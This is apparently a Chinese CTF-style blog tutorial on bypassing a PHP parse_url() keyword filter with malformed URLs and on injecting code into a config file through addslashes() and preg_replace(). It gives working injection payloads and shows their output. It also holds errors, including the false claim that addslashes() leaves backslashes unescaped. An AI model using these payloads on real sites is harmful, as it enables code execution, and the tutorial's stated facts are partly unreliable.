prase_url()&addslashes()

prase_url函数

​ 我们首先来看一段代码

<?php 
$data = parse_url($_SERVER['REQUEST_URI']); 
var_dump($data);
$filter=array("aaa","qqqq");
foreach($filter as $f)
{ 
	if(preg_match("/".$f."/i", $data['query']))
	{ 
		die("Attack Detected"); 
	} 
} 

?>

首先要明白这个函数的逻辑是啥

$data = parse_url($_SERVER['REQUEST_URI']);

这行代码使用 parse_url 函数解析当前请求的URL,并将结果存储在 $data 数组中。$_SERVER['REQUEST_URI'] 包含了当前请求的完整URI。$_SERVER是PHP的一个超全局变量,用于存储Web服务器和运行环境创建的信息。

var_dump() 是 PHP 中一个非常有用的函数,用于输出变量的详细信息,包括类型和值。它可以用于调试代码、了解变量的结构和内容,以及进行变量类型的检查。

正则匹配的语法

 "/".$f."/i"
  • "/":正则表达式的起始定界符。
  • $f:变量,表示要匹配的模式字符串。
  • "/":正则表达式的结束定界符。
  • i:修饰符,表示不区分大小写进行匹配。

hack fun

我们对上面那段代码做一个尝试

访问1:

http://www.phpstudy.com/test.php?a=1

返回结果:

array(2) { ["path"]=> string(9) "/test.php" ["query"]=> string(3) "a=1" }

访问2:构造畸形访问

http://www.phpstudy.com//test.php?/aaa

返回结果

array(2) { ["host"]=> string(9) "test.php?" ["path"]=> string(4) "/aaa" }
Notice: Undefined index: query in D:\phpstudy_pro\WWW\www.phpstudy.com\test.php on line 7

Notice: Undefined index: query in D:\phpstudy_pro\WWW\www.phpstudy.com\test.php on line 7

可以看到 :parse_url()会认为 test.php?是host 、/aaa是路径

访问3:

http://www.phpstudy.com///test.php?/aaa

返回结果

bool(false)

其中//只适用于php5.4.7以前,///适用于php7

addslashes()

话不多说,直接上题

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>

首先理解这段代码的逻辑

$str = addslashes($_GET['option']);

$_GET老朋友了,就是获取GET参数option

addslashes()函数,这个有点眼熟;但是忘记了,搜索一番发现,这是一个转义的函数。

$file = file_get_contents('xxxxx/option.php');

file_get_contents()函数:输入是一个路径,输出是该路径下的内容。

$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);

preg_replace()函数是对文件内容进行正则表达式替换操作。它会查找文件中形如$option='xxx';这样的字符串,并将其替换为$option=$str;

正则表达式: |\$option=\'.*\';|

  • |: 正则表达式的定界符,可以使用任何非字母、非数字、非反斜杠的字符作为定界符号。
  • \$option=:这部分匹配了字符串中的$option=$在正则表达式中是特殊字符,需要使用反斜杠\进行转义。
  • \`:这部分匹配单引号。
  • .* :匹配任意数量的任意字符(除了换行符)。.表示匹配任意单个字符,* 表示匹配前面的字符零次或多次。
file_put_contents('xxxxx/option.php', $file);

最后一行使用 file_put_contents()函数将修改后的文件内容写回到名为option.php的文件中,完成对文件的更新操作。

hack fun

方法1

这个漏洞触发逻辑用一句话概括就是:逃离数据域,到达代码逻辑域。

由于正则匹配会匹配除换行符以外的字符;并且addslashes()也不会转义换行符%0a

第一次payload

?option=abc';phpinfo();%0a//

此时option.php中的内容为

<?php
	$option = 'aaa\';phpinfo();
	//';
?>

第二次随便传入什么

?option=def

此时option.php中的内容为:

<?php
	$option = 'def';phpinfo();
	//';
?>

正则匹配直接把转义符也替换掉了🤣

方法二

payload

option=;&option=%5c%27;phpinfo();//

%5c 是反斜杠的html编码

addslashes()只能转换单引号;而不转换反斜杠 ;所以能成功。